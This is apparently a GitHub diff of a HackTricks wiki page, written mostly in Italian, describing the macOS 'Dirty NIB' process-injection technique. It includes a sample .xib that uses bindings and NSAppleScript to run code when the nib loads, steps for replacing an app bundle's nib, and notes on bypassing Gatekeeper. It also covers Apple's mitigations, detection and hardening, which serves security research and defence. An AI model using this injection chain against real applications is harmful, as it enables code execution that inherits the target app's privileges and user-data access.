mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
d2723f100d
commit
ae41ebda89
@ -2,72 +2,146 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Per ulteriori dettagli sulla tecnica, controlla il post originale di:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) e il seguente post di [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)**.** Ecco un riassunto:
|
||||
Dirty NIB si riferisce all’abuso di file Interface Builder (.xib/.nib) all’interno di un bundle di app macOS firmata per eseguire logica controllata dall’attaccante all’interno del processo target, ereditandone così entitlements e permessi TCC. Questa tecnica è stata documentata originariamente da xpn (MDSec) e successivamente generalizzata e notevolmente ampliata da Sector7, che ha anche trattato le mitigazioni di Apple in macOS 13 Ventura e macOS 14 Sonoma. Per contesto e approfondimenti, vedere i riferimenti alla fine.
|
||||
|
||||
### Cosa sono i file Nib
|
||||
> TL;DR
|
||||
> • Before macOS 13 Ventura: sostituire il MainMenu.nib di un bundle (o un altro nib caricato all’avvio) poteva ottenere in modo affidabile process injection e spesso privilege escalation.
|
||||
> • Since macOS 13 (Ventura) and improved in macOS 14 (Sonoma): first‑launch deep verification, bundle protection, Launch Constraints, and the new TCC “App Management” permission impediscono in larga parte la manomissione post‑launch dei nib da parte di app non correlate. Gli attacchi possono comunque essere possibili in casi di nicchia (es., tooling dello stesso sviluppatore che modifica le proprie app, o terminali a cui l’utente ha concesso App Management/Full Disk Access).
|
||||
|
||||
I file Nib (abbreviazione di NeXT Interface Builder), parte dell'ecosistema di sviluppo di Apple, sono destinati a definire **elementi UI** e le loro interazioni nelle applicazioni. Comprendono oggetti serializzati come finestre e pulsanti, e vengono caricati durante l'esecuzione. Nonostante il loro utilizzo continuo, Apple ora promuove gli Storyboard per una visualizzazione più completa del flusso UI.
|
||||
## What are NIB/XIB files
|
||||
|
||||
Il file Nib principale è referenziato nel valore **`NSMainNibFile`** all'interno del file `Info.plist` dell'applicazione ed è caricato dalla funzione **`NSApplicationMain`** eseguita nella funzione `main` dell'applicazione.
|
||||
Nib (abbreviazione di NeXT Interface Builder) sono file che serializzano grafi di oggetti UI usati dalle app AppKit. Xcode moderno salva file .xib XML modificabili che vengono compilati in .nib al build time. Un’app tipica carica la sua UI principale tramite `NSApplicationMain()` che legge la chiave `NSMainNibFile` dall’Info.plist dell’app e istanzia il grafo di oggetti a runtime.
|
||||
|
||||
### Processo di Iniezione Dirty Nib
|
||||
Punti chiave che abilitano l’attacco:
|
||||
- Il caricamento dei NIB istanzia classi Objective‑C arbitrarie senza richiedere che queste implementino NSSecureCoding (il nib loader di Apple ricorre a `init`/`initWithFrame:` quando `initWithCoder:` non è disponibile).
|
||||
- Cocoa Bindings possono essere abusati per chiamare metodi mentre i nib vengono istanziati, incluse chiamate concatenate che non richiedono interazione dell’utente.
|
||||
|
||||
#### Creazione e Configurazione di un File NIB
|
||||
|
||||
1. **Impostazione Iniziale**:
|
||||
- Crea un nuovo file NIB utilizzando XCode.
|
||||
- Aggiungi un Oggetto all'interfaccia, impostando la sua classe su `NSAppleScript`.
|
||||
- Configura la proprietà `source` iniziale tramite Attributi di Runtime Definiti dall'Utente.
|
||||
2. **Gadget di Esecuzione del Codice**:
|
||||
- La configurazione facilita l'esecuzione di AppleScript su richiesta.
|
||||
- Integra un pulsante per attivare l'oggetto `Apple Script`, attivando specificamente il selettore `executeAndReturnError:`.
|
||||
3. **Test**:
|
||||
## Dirty NIB injection process (attacker view)
|
||||
|
||||
- Un semplice Apple Script per scopi di test:
|
||||
Il flusso classico pre‑Ventura:
|
||||
1) Create a malicious .xib
|
||||
- Add an `NSAppleScript` object (or other “gadget” classes such as `NSTask`).
|
||||
- Add an `NSTextField` whose title contains the payload (e.g., AppleScript or command arguments).
|
||||
- Add one or more `NSMenuItem` objects wired via bindings to call methods on the target object.
|
||||
|
||||
```bash
|
||||
2) Auto‑trigger without user clicks
|
||||
- Use bindings to set a menu item’s target/selector and then invoke the private `_corePerformAction` method so the action fires automatically when the nib loads. This removes the need for a user to click a button.
|
||||
|
||||
Minimal example of an auto‑trigger chain inside a .xib (abridged for clarity):
|
||||
```xml
|
||||
<objects>
|
||||
<customObject id="A1" customClass="NSAppleScript"/>
|
||||
<textField id="A2" title="display dialog \"PWND\""/>
|
||||
<!-- Menu item that will call -initWithSource: on NSAppleScript with A2.title -->
|
||||
<menuItem id="C1">
|
||||
<connections>
|
||||
<binding name="target" destination="A1"/>
|
||||
<binding name="selector" keyPath="initWithSource:"/>
|
||||
<binding name="Argument" destination="A2" keyPath="title"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<!-- Menu item that will call -executeAndReturnError: on NSAppleScript -->
|
||||
<menuItem id="C2">
|
||||
<connections>
|
||||
<binding name="target" destination="A1"/>
|
||||
<binding name="selector" keyPath="executeAndReturnError:"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<!-- Triggers that auto‑press the above menu items at load time -->
|
||||
<menuItem id="T1"><connections><binding keyPath="_corePerformAction" destination="C1"/></connections></menuItem>
|
||||
<menuItem id="T2"><connections><binding keyPath="_corePerformAction" destination="C2"/></connections></menuItem>
|
||||
</objects>
|
||||
```
|
||||
Questo consente l'esecuzione arbitraria di AppleScript nel processo target al caricamento del nib. Catene avanzate possono:
|
||||
- Istanziare classi AppKit arbitrarie (es., `NSTask`) e chiamare metodi senza argomenti come `-launch`.
|
||||
- Chiamare selector arbitrari con argomenti oggetto tramite il trucco di binding sopra.
|
||||
- Caricare AppleScriptObjC.framework per fare da ponte verso Objective‑C e persino chiamare alcune API C selezionate.
|
||||
- Su sistemi più vecchi che includono ancora Python.framework, fare da ponte verso Python e poi usare `ctypes` per chiamare funzioni C arbitrarie (ricerca di Sector7).
|
||||
|
||||
3) Sostituire il nib dell'app
|
||||
- Copiare target.app in una posizione scrivibile, sostituire ad esempio `Contents/Resources/MainMenu.nib` con il nib maligno e avviare target.app. Prima di Ventura, dopo una valutazione Gatekeeper eseguita una volta, i lanci successivi eseguivano solo controlli superficiali sulla firma, quindi le risorse non eseguibili (come .nib) non venivano nuovamente verificate.
|
||||
|
||||
Esempio di payload AppleScript per un test visibile:
|
||||
```applescript
|
||||
set theDialogText to "PWND"
|
||||
display dialog theDialogText
|
||||
```
|
||||
## Modern macOS protections (Ventura/Monterey/Sonoma/Sequoia)
|
||||
|
||||
- Testa eseguendo nel debugger di XCode e cliccando il pulsante.
|
||||
Apple ha introdotto diverse mitigazioni sistemiche che riducono drasticamente la fattibilità di Dirty NIB nelle versioni moderne di macOS:
|
||||
- First‑launch deep verification and bundle protection (macOS 13 Ventura)
|
||||
- Al primo avvio di qualsiasi app (quarantined o no), un controllo approfondito della firma copre tutte le risorse del bundle. Successivamente, il bundle diventa protetto: solo le app dello stesso developer (o esplicitamente permesse dall’app) possono modificarne il contenuto. Altre app richiedono la nuova permessione TCC “App Management” per scrivere all’interno del bundle di un’altra app.
|
||||
- Launch Constraints (macOS 13 Ventura)
|
||||
- Le app di sistema/fornite da Apple non possono essere copiate altrove e lanciate; questo annulla l’approccio “copia in /tmp, patch, esegui” per le app di sistema.
|
||||
- Improvements in macOS 14 Sonoma
|
||||
- Apple ha rafforzato App Management e corretto bypass noti (es. CVE‑2023‑40450) segnalati da Sector7. Python.framework è stato rimosso in precedenza (macOS 12.3), interrompendo alcune catene di privilege‑escalation.
|
||||
- Gatekeeper/Quarantine changes
|
||||
- Per una discussione più ampia su Gatekeeper, provenance e le modifiche di assessment che hanno impattato questa tecnica, vedi la pagina referenziata sotto.
|
||||
|
||||
#### Targeting di un'Applicazione (Esempio: Pages)
|
||||
> Practical implication
|
||||
> • Su Ventura+ generalmente non puoi modificare il .nib di un’app di terze parti a meno che il tuo processo non abbia App Management o sia firmato con lo stesso Team ID del target (es. tooling per sviluppatori).
|
||||
> • Concedere App Management o Full Disk Access a shell/terminal riapre effettivamente questa superficie d’attacco per qualsiasi cosa possa eseguire codice nel contesto di quel terminal.
|
||||
|
||||
1. **Preparazione**:
|
||||
- Copia l'app target (ad es., Pages) in una directory separata (ad es., `/tmp/`).
|
||||
- Avvia l'app per evitare problemi con Gatekeeper e memorizzarla nella cache.
|
||||
2. **Sovrascrittura del File NIB**:
|
||||
- Sostituisci un file NIB esistente (ad es., About Panel NIB) con il file DirtyNIB creato.
|
||||
3. **Esecuzione**:
|
||||
- Attiva l'esecuzione interagendo con l'app (ad es., selezionando l'elemento di menu `About`).
|
||||
### Addressing Launch Constraints
|
||||
|
||||
#### Prova di Concetto: Accesso ai Dati Utente
|
||||
Launch Constraints impediscono di eseguire molte app Apple da posizioni non predefinite a partire da Ventura. Se facevi affidamento su workflow pre‑Ventura come copiare un’app Apple in una directory temporanea, modificare `MainMenu.nib` e lanciarla, aspettati che fallisca su >= 13.0.
|
||||
|
||||
- Modifica l'AppleScript per accedere ed estrarre dati utente, come foto, senza il consenso dell'utente.
|
||||
|
||||
### Esempio di Codice: File .xib Maligno
|
||||
## Enumerating targets and nibs (useful for research / legacy systems)
|
||||
|
||||
- Accedi e rivedi un [**esempio di un file .xib maligno**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) che dimostra l'esecuzione di codice arbitrario.
|
||||
- Locate apps whose UI is nib‑driven:
|
||||
```bash
|
||||
find /Applications -maxdepth 2 -name Info.plist -exec sh -c \
|
||||
'for p; do if /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" >/dev/null 2>&1; \
|
||||
then echo "[+] $(dirname "$p") uses NSMainNibFile=$( /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" )"; fi; done' sh {} +
|
||||
```
|
||||
- Trova risorse nib candidate all'interno di un bundle:
|
||||
```bash
|
||||
find target.app -type f \( -name "*.nib" -o -name "*.xib" \) -print
|
||||
```
|
||||
- Valida in modo approfondito le firme del codice (fallirà se hai manomesso le risorse e non le hai ri‑firmate):
|
||||
```bash
|
||||
codesign --verify --deep --strict --verbose=4 target.app
|
||||
```
|
||||
> Nota: su macOS moderno verrai anche bloccato da bundle protection/TCC quando provi a scrivere nel bundle di un'altra app senza la dovuta autorizzazione.
|
||||
|
||||
### Altro Esempio
|
||||
|
||||
Nel post [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) puoi trovare un tutorial su come creare un dirty nib.
|
||||
## Rilevamento e suggerimenti DFIR
|
||||
|
||||
### Affrontare i Vincoli di Avvio
|
||||
- Monitoraggio dell'integrità dei file sulle risorse del bundle
|
||||
- Monitorare cambiamenti di mtime/ctime in `Contents/Resources/*.nib` e altre risorse non‑eseguibili nelle app installate.
|
||||
- Log unificati e comportamento dei processi
|
||||
- Monitorare esecuzioni inaspettate di AppleScript all'interno di app GUI e processi che caricano AppleScriptObjC o Python.framework. Esempio:
|
||||
```bash
|
||||
log stream --info --predicate 'processImagePath CONTAINS[cd] ".app/Contents/MacOS/" AND (eventMessage CONTAINS[cd] "AppleScript" OR eventMessage CONTAINS[cd] "loadAppleScriptObjectiveCScripts")'
|
||||
```
|
||||
- Valutazioni proattive
|
||||
- Eseguire periodicamente `codesign --verify --deep` sulle app critiche per assicurarsi che le risorse rimangano integre.
|
||||
- Contesto di privilegi
|
||||
- Verificare chi/che cosa ha TCC “App Management” o Full Disk Access (specialmente terminali e agent di gestione). Rimuovere queste autorizzazioni dalle shell di uso generale impedisce di riabilitare agevolmente manomissioni in stile Dirty NIB.
|
||||
|
||||
- I Vincoli di Avvio ostacolano l'esecuzione delle app da posizioni inaspettate (ad es., `/tmp`).
|
||||
- È possibile identificare le app non protette dai Vincoli di Avvio e mirare a esse per l'iniezione del file NIB.
|
||||
|
||||
### Ulteriori Protezioni di macOS
|
||||
## Indurimento difensivo (sviluppatori e difensori)
|
||||
|
||||
A partire da macOS Sonoma, le modifiche all'interno dei pacchetti delle app sono limitate. Tuttavia, i metodi precedenti prevedevano:
|
||||
- Preferire UI programmatica o limitare ciò che viene istanziato da nib. Evitare di includere classi potenti (es., `NSTask`) nei grafi nib ed evitare binding che invocano indirettamente selector su oggetti arbitrari.
|
||||
- Adottare l'hardened runtime con Library Validation (già standard per le app moderne). Pur non impedendo di per sé la nib injection, blocca il caricamento facile di codice nativo e costringe gli attaccanti a payload solo scripting.
|
||||
- Non richiedere o dipendere da ampie autorizzazioni App Management in strumenti di uso generale. Se l'MDM richiede App Management, separare quel contesto dalle shell guidate dall'utente.
|
||||
- Verificare regolarmente l'integrità del bundle della tua app e rendere i meccanismi di aggiornamento capaci di riparare automaticamente le risorse del bundle.
|
||||
|
||||
1. Copiare l'app in un'altra posizione (ad es., `/tmp/`).
|
||||
2. Rinominare le directory all'interno del pacchetto dell'app per bypassare le protezioni iniziali.
|
||||
3. Dopo aver eseguito l'app per registrarsi con Gatekeeper, modificare il pacchetto dell'app (ad es., sostituendo MainMenu.nib con Dirty.nib).
|
||||
4. Rinominare di nuovo le directory e rieseguire l'app per eseguire il file NIB iniettato.
|
||||
|
||||
**Nota**: Gli aggiornamenti recenti di macOS hanno mitigato questo exploit impedendo le modifiche ai file all'interno dei pacchetti delle app dopo la memorizzazione nella cache di Gatekeeper, rendendo l'exploit inefficace.
|
||||
## Letture correlate in HackTricks
|
||||
|
||||
Per saperne di più su Gatekeeper, quarantine e i cambiamenti di provenance che influenzano questa tecnica:
|
||||
|
||||
{{#ref}}
|
||||
../macos-security-protections/macos-gatekeeper.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- xpn – DirtyNIB (write‑up originale con esempio Pages): https://blog.xpnsec.com/dirtynib/
|
||||
- Sector7 – Bringing process injection into view(s): sfruttare tutte le app macOS che usano nib files (5 aprile 2024): https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user